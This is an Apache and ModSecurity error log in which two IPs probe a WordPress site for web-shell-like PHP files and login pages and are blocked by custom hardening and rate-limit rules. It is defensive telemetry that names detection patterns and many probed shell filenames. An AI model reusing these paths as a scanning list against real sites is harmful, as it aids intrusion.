[Thu Apr 02 13:17:40.896250 2026] [:error] [pid 59305:tid 59326] [client 151.240.33.19:54862] [client 151.240.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.240.33.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ac379Kr2tV4rDwKFxKexNAAAANE"]
[Thu Apr 02 13:17:41.087773 2026] [:error] [pid 59305:tid 59317] [client 151.240.33.19:54862] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "ac379ar2tV4rDwKFxKexNgAAAMg"]
[Thu Apr 02 13:17:43.747483 2026] [:error] [pid 37543:tid 37555] [client 151.240.33.19:54982] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ac3793hdk2bEYJCvILZ9bgAAAUo"]
[Thu Apr 02 13:17:44.305280 2026] [:error] [pid 23927:tid 23951] [client 151.240.33.19:55190] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ac37-EsZwqCndhl9uKAH_QAAAZY"]
[Thu Apr 02 13:17:44.483517 2026] [:error] [pid 23927:tid 23952] [client 151.240.33.19:52324] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ac37-EsZwqCndhl9uKAIAAAAAZc"]
[Thu Apr 02 13:17:44.899078 2026] [:error] [pid 23927:tid 23939] [client 151.240.33.19:52352] [client 151.240.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.240.33.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "ac37-EsZwqCndhl9uKAIDAAAAYo"]
[Thu Apr 02 13:17:45.000682 2026] [:error] [pid 23927:tid 23930] [client 151.240.33.19:52352] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ac37-EsZwqCndhl9uKAIEgAAAYE"]
[Thu Apr 02 13:17:48.109864 2026] [:error] [pid 23927:tid 23936] [client 151.240.33.19:52406] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Thu Apr 02 13:17:48.200346 2026] [:error] [pid 23927:tid 23935] [client 151.240.33.19:52406] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ac37_EsZwqCndhl9uKAIiwAAAYY"]
[Thu Apr 02 13:17:49.261548 2026] [:error] [pid 59305:tid 59323] [client 151.240.33.19:52728] [client 151.240.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.240.33.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ac37_ar2tV4rDwKFxKexkwAAAM4"]
[Thu Apr 02 13:17:49.355049 2026] [:error] [pid 59305:tid 59321] [client 151.240.33.19:52728] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ac37_ar2tV4rDwKFxKexlQAAAMw"]
[Thu Apr 02 13:17:49.552146 2026] [:error] [pid 37543:tid 37568] [client 151.240.33.19:52850] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "ac37_Xhdk2bEYJCvILZ9egAAAVc"]
[Thu Apr 02 13:17:49.855646 2026] [:error] [pid 59305:tid 59323] [client 151.240.33.19:52872] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ac37_ar2tV4rDwKFxKexmgAAAM4"]
[Thu Apr 02 13:17:50.051710 2026] [:error] [pid 59305:tid 59311] [client 151.240.33.19:52924] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/index22.php"] [unique_id "ac37_qr2tV4rDwKFxKexngAAAMI"]
[Thu Apr 02 13:17:50.249081 2026] [:error] [pid 37543:tid 37569] [client 151.240.33.19:52984] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/index22.php"] [unique_id "ac37_nhdk2bEYJCvILZ9gAAAAVg"]
[Thu Apr 02 13:17:50.447643 2026] [:error] [pid 59305:tid 59326] [client 151.240.33.19:53044] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/index22.php"] [unique_id "ac37_qr2tV4rDwKFxKexpgAAANE"]
[Thu Apr 02 13:17:50.643554 2026] [:error] [pid 59305:tid 59327] [client 151.240.33.19:53072] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/index22.php"] [unique_id "ac37_qr2tV4rDwKFxKexrAAAANI"]
[Thu Apr 02 13:17:52.276733 2026] [:error] [pid 59305:tid 59316] [client 151.240.33.19:53104] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "ac38AKr2tV4rDwKFxKex0AAAAMc"]
[Thu Apr 02 13:17:52.472872 2026] [:error] [pid 59305:tid 59322] [client 151.240.33.19:53346] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "ac38AKr2tV4rDwKFxKex1QAAAM0"]
[Thu Apr 02 13:17:52.668905 2026] [:error] [pid 59305:tid 59321] [client 151.240.33.19:53366] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "ac38AKr2tV4rDwKFxKex3AAAAMw"]
[Thu Apr 02 13:17:52.866483 2026] [:error] [pid 59305:tid 59312] [client 151.240.33.19:53396] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "ac38AKr2tV4rDwKFxKex4wAAAMM"]
[Thu Apr 02 13:17:53.044709 2026] [:error] [pid 59305:tid 59314] [client 151.240.33.19:53398] [client 151.240.33.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "ac38Aar2tV4rDwKFxKex6AAAAMU"]
[Fri Apr 03 03:58:43.249605 2026] [:error] [pid 22778:tid 22785] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/pass4.php
[Fri Apr 03 03:58:43.510184 2026] [:error] [pid 22778:tid 22789] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/8daf1238_1774208172.php
[Fri Apr 03 03:58:43.879372 2026] [:error] [pid 22778:tid 22798] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/0yellow.php
[Fri Apr 03 03:58:44.138270 2026] [:error] [pid 22778:tid 22802] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/dichku.php
[Fri Apr 03 03:58:44.483189 2026] [:error] [pid 22778:tid 22809] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Apr 03 03:58:44.741971 2026] [:error] [pid 22778:tid 22803] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/gvg1bvpsgtot1rpklCdefault.php
[Fri Apr 03 03:58:45.049505 2026] [:error] [pid 22778:tid 22797] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Fri Apr 03 03:58:45.338583 2026] [:error] [pid 22778:tid 22785] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/a9.php
[Fri Apr 03 03:58:45.599288 2026] [:error] [pid 22778:tid 22808] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 03 03:58:45.859135 2026] [:error] [pid 22778:tid 22802] [client 20.215.208.99:24964] File does not exist: /usr/local/apache/htdocs/suspended-page/qiumnpor3orjwr6me3zmgqCdefault.php
[Fri Apr 03 03:58:46.116844 2026] [:error] [pid 22778:tid 22799] [client 20.215.208.99:24964] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hnphq.php"] [unique_id "ac7KdvS-q9hkdFqUjq86bQAAAM4"]
[Fri Apr 03 03:58:46.679441 2026] [:error] [pid 22673:tid 22746] [client 20.215.208.99:22411] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hnphq.php"] [unique_id "ac7Kdu-GlVDWdWxxwJBPMgAAAIA"]
[Fri Apr 03 03:58:47.205379 2026] [:error] [pid 22673:tid 22752] [client 20.215.208.99:24458] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hnphq.php"] [unique_id "ac7Kd--GlVDWdWxxwJBPMwAAAIY"]
[Fri Apr 03 03:58:47.739900 2026] [:error] [pid 22671:tid 22695] [client 20.215.208.99:52535] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hnphq.php"] [unique_id "ac7KdyRuUnMW7r8hvyYh_wAAAAQ"]
[Fri Apr 03 03:58:48.287140 2026] [:error] [pid 22778:tid 22792] [client 20.215.208.99:24474] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac7KePS-q9hkdFqUjq86cwAAAMc"]
[Fri Apr 03 03:58:50.269185 2026] [:error] [pid 22671:tid 22702] [client 20.215.208.99:54995] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac7KeiRuUnMW7r8hvyYiAQAAAAs"]
[Fri Apr 03 03:58:59.752826 2026] [:error] [pid 22672:tid 22739] [client 20.215.208.99:27031] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac7Kg6zrgXkFSOK0fvpYNgAAAFQ"]
[Fri Apr 03 03:59:03.080416 2026] [:error] [pid 22672:tid 22732] [client 20.215.208.99:52497] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac7Kh6zrgXkFSOK0fvpYPwAAAE0"]
[Fri Apr 03 03:59:04.137931 2026] [:error] [pid 22672:tid 22728] [client 20.215.208.99:27021] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac7KiKzrgXkFSOK0fvpYQQAAAEk"]
[Fri Apr 03 03:59:04.739344 2026] [:error] [pid 22671:tid 22705] [client 20.215.208.99:65442] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac7KiCRuUnMW7r8hvyYiFAAAAA4"]
[Fri Apr 03 03:59:05.375554 2026] [:error] [pid 22673:tid 22748] [client 20.215.208.99:25011] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac7Kie-GlVDWdWxxwJBPXQAAAII"]
[Fri Apr 03 03:59:06.155286 2026] [:error] [pid 22673:tid 22766] [client 20.215.208.99:24483] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac7Kiu-GlVDWdWxxwJBPXwAAAJQ"]
[Fri Apr 03 03:59:06.770915 2026] [:error] [pid 22672:tid 22735] [client 20.215.208.99:65412] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac7KiqzrgXkFSOK0fvpYUQAAAFA"]
[Fri Apr 03 03:59:07.328344 2026] [:error] [pid 22672:tid 22741] [client 20.215.208.99:19869] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac7Ki6zrgXkFSOK0fvpYVgAAAFY"]
[Fri Apr 03 03:59:07.884988 2026] [:error] [pid 22673:tid 22747] [client 20.215.208.99:38678] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac7Ki--GlVDWdWxxwJBPYAAAAIE"]
[Fri Apr 03 03:59:08.447612 2026] [:error] [pid 22673:tid 22769] [client 20.215.208.99:24509] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac7KjO-GlVDWdWxxwJBPYQAAAJc"]
[Fri Apr 03 03:59:09.132703 2026] [:error] [pid 22671:tid 22711] [client 20.215.208.99:48834] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac7KjSRuUnMW7r8hvyYiJAAAABQ"]
[Fri Apr 03 03:59:10.372998 2026] [:error] [pid 22673:tid 22753] [client 20.215.208.99:28084] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac7Kju-GlVDWdWxxwJBPaAAAAIc"]
[Fri Apr 03 03:59:11.283301 2026] [:error] [pid 22673:tid 22750] [client 20.215.208.99:38711] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac7Kj--GlVDWdWxxwJBPbgAAAIQ"]
[Fri Apr 03 03:59:11.856467 2026] [:error] [pid 22672:tid 22735] [client 20.215.208.99:24449] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac7Kj6zrgXkFSOK0fvpYdwAAAFA"]
[Fri Apr 03 03:59:12.566984 2026] [:error] [pid 22673:tid 22765] [client 20.215.208.99:24962] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac7KkO-GlVDWdWxxwJBPcAAAAJM"]
[Fri Apr 03 03:59:13.199839 2026] [:error] [pid 22778:tid 22801] [client 20.215.208.99:25014] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac7KkfS-q9hkdFqUjq86rAAAANA"]
[Fri Apr 03 03:59:13.713160 2026] [:error] [pid 22671:tid 22697] [client 20.215.208.99:24499] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac7KkSRuUnMW7r8hvyYiKAAAAAY"]
[Fri Apr 03 03:59:14.450368 2026] [:error] [pid 22671:tid 22711] [client 20.215.208.99:38695] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac7KkiRuUnMW7r8hvyYiKgAAABQ"]
[Fri Apr 03 03:59:15.238022 2026] [:error] [pid 22672:tid 22740] [client 20.215.208.99:28094] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "ac7Kk6zrgXkFSOK0fvpYigAAAFU"]
[Fri Apr 03 03:59:15.805406 2026] [:error] [pid 22673:tid 22756] [client 20.215.208.99:52489] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "ac7Kk--GlVDWdWxxwJBPewAAAIo"]
[Fri Apr 03 03:59:16.369956 2026] [:error] [pid 22778:tid 22797] [client 20.215.208.99:24972] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "ac7KlPS-q9hkdFqUjq86sgAAAMw"]
[Fri Apr 03 03:59:17.355081 2026] [:error] [pid 22672:tid 22725] [client 20.215.208.99:19855] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "ac7KlazrgXkFSOK0fvpYkwAAAEY"]
[Fri Apr 03 03:59:18.331803 2026] [:error] [pid 22673:tid 22762] [client 20.215.208.99:65457] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac7Klu-GlVDWdWxxwJBPgQAAAJA"]
